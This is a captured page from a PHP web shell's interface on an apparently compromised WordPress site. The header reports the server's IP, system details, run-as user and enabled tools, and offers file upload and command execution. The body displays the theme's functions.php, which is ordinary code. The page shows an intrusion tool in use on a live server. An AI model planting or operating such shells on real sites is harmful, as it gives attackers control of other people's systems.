403Webshell
Server IP : 207.135.97.11  /  Your IP : 172.19.0.1
Web Server : LiteSpeed
System : Linux 6d372a2d2e33 5.14.0-611.24.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jan 23 11:42:43 UTC 2026 x86_64
User : nobody ( 65534)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/ed.net.au/wp-content/themes/evoke-dialogue/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/ed.net.au/wp-content/themes/evoke-dialogue/functions.php
<?php
/**
 * Theme functions for Evoke Dialogue.
 */

if (!defined('ABSPATH')) {
    exit;
}

function evoke_dialogue_setup() {
    add_theme_support('title-tag');
    add_theme_support('post-thumbnails');
    add_theme_support('html5', array('search-form', 'comment-form', 'comment-list', 'gallery', 'caption', 'style', 'script'));

    register_nav_menus(
        array(
            'primary' => __('Primary Menu', 'evoke-dialogue'),
        )
    );
}
add_action('after_setup_theme', 'evoke_dialogue_setup');

function evoke_dialogue_register_legacy_post_types() {
    $post_types = array(
        'service' => 'Services',
        'project' => 'Projects',
        'member' => 'Team Members',
        'client' => 'Clients',
        'testimonial' => 'Testimonials',
    );

    foreach ($post_types as $slug => $label) {
        register_post_type(
            $slug,
            array(
                'labels' => array(
                    'name' => $label,
                    'singular_name' => rtrim($label, 's'),
                ),
                'public' => true,
                'publicly_queryable' => true,
                'show_ui' => true,
                'show_in_menu' => true,
                'query_var' => true,
                'rewrite' => false,
                'has_archive' => false,
                'show_in_rest' => true,
                'supports' => array('title', 'editor', 'excerpt', 'thumbnail', 'page-attributes'),
            )
        );
    }
}
add_action('init', 'evoke_dialogue_register_legacy_post_types');

function evoke_dialogue_assets() {
    wp_enqueue_style(
        'evoke-dialogue-fonts',
        'https://fonts.googleapis.com/css2?family=Manrope:wght@400;500;600;700;800&family=Sora:wght@500;600;700&display=swap',
        array(),
        null
    );

    wp_enqueue_style(
        'evoke-dialogue-style',
        get_stylesheet_uri(),
        array('evoke-dialogue-fonts'),
        wp_get_theme()->get('Version')
    );

    wp_enqueue_style(
        'evoke-dialogue-fontawesome',
        'https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css',
        array(),
        '4.7.0'
    );

    wp_enqueue_script(
        'evoke-dialogue-theme',
        get_template_directory_uri() . '/assets/theme.js',
        array(),
        wp_get_theme()->get('Version'),
        true
    );
}
add_action('wp_enqueue_scripts', 'evoke_dialogue_assets');

function evoke_dialogue_excerpt_length($length) {
    return 22;
}
add_filter('excerpt_length', 'evoke_dialogue_excerpt_length', 99);

function evoke_dialogue_excerpt_more($more) {
    return '...';
}
add_filter('excerpt_more', 'evoke_dialogue_excerpt_more');

function evoke_dialogue_service_icon_class($icon_slug) {
    $raw = strtolower(trim((string) $icon_slug));
    if (preg_match('/fa-[a-z0-9\-]+/', $raw, $matches)) {
        return $matches[0];
    }

    $slug = str_replace(array('_', ' '), '-', $raw);
    $slug = preg_replace('/-+/', '-', $slug);
    $map = array(
        'puzzle-piece' => 'fa-puzzle-piece',
        'map-o' => 'fa-map-o',
        'handshake-o' => 'fa-handshake-o',
        'envelope-open-o' => 'fa-envelope-o',
        'envelope-open' => 'fa-envelope-o',
        'black-tie' => 'fa-black-tie',
        'users' => 'fa-users',
    );

    if (isset($map[$slug])) {
        return $map[$slug];
    }

    $slug = preg_replace('/[^a-z0-9\-]/', '', $slug);
    if (strpos($slug, 'fa-') !== 0) {
        $slug = 'fa-' . $slug;
    }

    return $slug;
}

function evoke_dialogue_try_attachment_image_url($maybe_id, $size = 'medium_large') {
    $attachment_id = absint($maybe_id);
    if ($attachment_id <= 0) {
        return '';
    }

    $url = wp_get_attachment_image_url($attachment_id, $size);
    if (!empty($url)) {
        return $url;
    }

    $mime_type = get_post_mime_type($attachment_id);
    if (is_string($mime_type) && strpos($mime_type, 'image/') === 0) {
        $fallback = wp_get_attachment_url($attachment_id);
        if (!empty($fallback)) {
            return $fallback;
        }
    }

    return '';
}

function evoke_dialogue_is_image_url($url) {
    $path = (string) wp_parse_url((string) $url, PHP_URL_PATH);
    return (bool) preg_match('/\.(avif|gif|jpe?g|png|svg|webp)$/i', $path);
}

function evoke_dialogue_meta_value_image_url($value, $size = 'medium_large') {
    if (empty($value)) {
        return '';
    }

    if (is_numeric($value)) {
        return evoke_dialogue_try_attachment_image_url($value, $size);
    }

    if (is_string($value)) {
        $trimmed = trim($value);
        if ($trimmed === '') {
            return '';
        }

        $unserialized = maybe_unserialize($trimmed);
        if ($unserialized !== $trimmed) {
            return evoke_dialogue_meta_value_image_url($unserialized, $size);
        }

        $decoded = json_decode($trimmed, true);
        if (json_last_error() === JSON_ERROR_NONE && is_array($decoded)) {
            return evoke_dialogue_meta_value_image_url($decoded, $size);
        }

        if (preg_match('/<img[^>]+src=[\'"]([^\'"]+)[\'"]/i', $trimmed, $matches)) {
            return esc_url_raw($matches[1]);
        }

        if (filter_var($trimmed, FILTER_VALIDATE_URL)) {
            if (evoke_dialogue_is_image_url($trimmed) || strpos($trimmed, '/wp-content/uploads/') !== false) {
                return esc_url_raw($trimmed);
            }
            return '';
        }

        if (strpos($trimmed, '/wp-content/uploads/') !== false) {
            return esc_url_raw(home_url('/' . ltrim($trimmed, '/')));
        }

        return '';
    }

    if (is_array($value)) {
        $priority_keys = array(
            'id',
            'ID',
            'attachment_id',
            'image_id',
            'logo_id',
            'thumbnail_id',
            'url',
            'src',
            'image',
            'logo',
            'file',
        );

        foreach ($priority_keys as $key) {
            if (isset($value[$key])) {
                $candidate = evoke_dialogue_meta_value_image_url($value[$key], $size);
                if (!empty($candidate)) {
                    return $candidate;
                }
            }
        }

        foreach ($value as $item) {
            $candidate = evoke_dialogue_meta_value_image_url($item, $size);
            if (!empty($candidate)) {
                return $candidate;
            }
        }
    }

    return '';
}

function evoke_dialogue_meta_image_url($post_id, $size = 'medium_large') {
    $all_meta = get_post_meta($post_id);
    if (empty($all_meta)) {
        return '';
    }

    $preferred_keys = array(
        '_thumbnail_id',
        'thumbnail_id',
        'featured_image',
        'featured_image_id',
        'mt_services_image',
        'mt-service-image',
        'mt_project_image',
        'mt-project-image',
        'mt_member_image',
        'mt-member-image',
        'mt_member_photo',
        'mt-member-photo',
        'mt_client_logo',
        'mt-client-logo',
        'mt_client_image',
        'mt-client-image',
        'client_logo',
        'logo',
        'image',
    );

    foreach ($preferred_keys as $key) {
        if (isset($all_meta[$key][0])) {
            $candidate = evoke_dialogue_meta_value_image_url($all_meta[$key][0], $size);
            if (!empty($candidate)) {
                return $candidate;
            }
        }
    }

    foreach ($all_meta as $key => $values) {
        if (!preg_match('/(image|logo|photo|thumb|thumbnail|banner|hero|avatar)/i', (string) $key)) {
            continue;
        }

        foreach ((array) $values as $value) {
            $candidate = evoke_dialogue_meta_value_image_url($value, $size);
            if (!empty($candidate)) {
                return $candidate;
            }
        }
    }

    return '';
}

function evoke_dialogue_first_image_url($post_id) {
    $content = get_post_field('post_content', $post_id);
    if (preg_match('/<img[^>]+src=[\'"]([^\'"]+)[\'"]/i', (string) $content, $matches)) {
        return $matches[1];
    }

    return '';
}

function evoke_dialogue_post_card_image($post_id, $size = 'medium_large') {
    if (has_post_thumbnail($post_id)) {
        return get_the_post_thumbnail($post_id, $size);
    }

    $image_url = evoke_dialogue_first_image_url($post_id);
    if (empty($image_url)) {
        $image_url = evoke_dialogue_meta_image_url($post_id, $size);
    }
    if (!empty($image_url)) {
        return '<img src="' . esc_url($image_url) . '" alt="' . esc_attr(get_the_title($post_id)) . '">';
    }

    return '';
}

function evoke_dialogue_legacy_permalink($post_id) {
    $post = get_post($post_id);
    if (!$post) {
        return '';
    }

    $legacy_types = array('project', 'service', 'member', 'client', 'testimonial');
    if (in_array($post->post_type, $legacy_types, true)) {
        return add_query_arg('p', (string) absint($post_id), home_url('/'));
    }

    return get_permalink($post_id);
}


if (!function_exists('evoke_dialogue_redirect_team_members_to_about_us')) {
    function evoke_dialogue_redirect_team_members_to_about_us() {
        if (is_admin()) {
            return;
        }

        $request_uri = isset($_SERVER['REQUEST_URI']) ? (string) $_SERVER['REQUEST_URI'] : '';
        $path = trim((string) wp_parse_url($request_uri, PHP_URL_PATH), '/');

        if ($path === 'team-members') {
            wp_safe_redirect(home_url('/about-us/'), 301);
            exit;
        }

        if ($path === 'recent-works') {
            wp_safe_redirect(home_url('/case-outcomes/'), 301);
            exit;
        }
    }
}
add_action('template_redirect', 'evoke_dialogue_redirect_team_members_to_about_us', 1);

Youez - 2016 - github.com/yon3zu
LinuXploit